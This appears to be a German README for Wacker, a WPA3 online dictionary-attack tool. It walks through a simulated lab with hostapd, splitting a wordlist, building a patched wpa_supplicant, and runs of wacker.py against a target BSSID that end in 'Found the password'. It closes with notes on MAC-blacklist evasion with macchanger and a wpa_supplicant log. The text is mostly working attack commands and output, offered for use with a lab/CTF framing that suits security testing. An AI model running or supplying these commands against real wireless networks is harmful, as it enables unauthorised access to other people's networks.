
Ein WPA3-Wörterbuch-Cracker
Eine Sammlung von Skripten, die bei der Durchführung eines Online-Wörterbuchangriffs gegen einen WPA3-Zugangspunkt helfen. Wacker nutzt die wpa_supplicant-Steuerschnittstelle, um die Operationen des Supplicant-Daemons zu steuern und Statusinformationen sowie Ereignisbenachrichtigungen zu erhalten, was letztlich dazu beiträgt, Verbindungsversuche bei Brute-Force-Angriffen zu beschleunigen.
Falls Sie keinen WPA3-AP zum Testen finden, sollten Sie eine lokale Umgebung mit mac80211_hwsim (Details unten) oder mit den VMs des RF Hackers Sanctuary (scoreboard.rfhackers.com) einrichten.
Um Ihren eigenen Softwaresimulator für 802.11-Funkgeräte einzurichten, konfigurieren und laden Sie einfach das richtige mac80211_hwsim-Modul.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Wählen Sie eine der neuen Schnittstellen als Ihren WPA3-Zugangspunkt und verwenden Sie die folgende Konfigurationsdatei.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
Und starten Sie hostapd mit
# hostapd -K -dd hostapd.conf
Wenn Sie beabsichtigen, Ihre Cracking-Bemühungen auf mehrere Netzwerkschnittstellen zu verteilen, teilt das bereitgestellte Skript split.sh eine Wortliste für Sie auf.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Wir stellen ein eigenes wpa_supplicant bereit, um sicherzustellen, dass bestimmte Konfigurationen gesetzt sind, sowie einige Änderungen, die im Quellcode selbst vorgenommen werden müssen.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
python3.6+ ist erforderlich
Wacker sollte als ergänzendes Werkzeug zu airodump oder kismet betrachtet werden, bei denen die Zielauswahl bereits erfolgt. Wacker deaktiviert bewusst das Hintergrundscannen mit wpa_supplicant, um Authentifizierungsversuche zu beschleunigen.
Das Skript wacker.py soll die ganze schwere Arbeit erledigen und erfordert einige Angaben zum Ziel.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
Mit etwas Glück... Angriff mit nur einer Instanz ausführen...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
Mehrere Instanzen von wacker auszuführen ist einfach, wenn Sie freie Netzwerkschnittstellen haben. Vergessen Sie nicht, die Wortliste aufzuteilen.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wacker ist recht ausführlich. Interessante Dateien finden Sie unter /tmp/wacker/
wacker behandelt keine ACLs, die vom Ziel-WPA3-AP gesetzt werden. Das bedeutet, der aktuelle Code verwendet immer dieselbe MAC-Adresse. Wenn der Ziel-AP unsere MAC-Adresse auf die schwarze Liste setzt, unterscheidet das Skript nicht zwischen einem echten Authentifizierungsfehler und der Ablehnung unserer gesperrten MAC. Das führt dazu, dass wir das richtige Passwort als Fehler betrachten. Eine Möglichkeit zur Lösung... müssten wir macchanger zum Quellcode hinzufügen, auf Kosten einer Verlangsamung.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites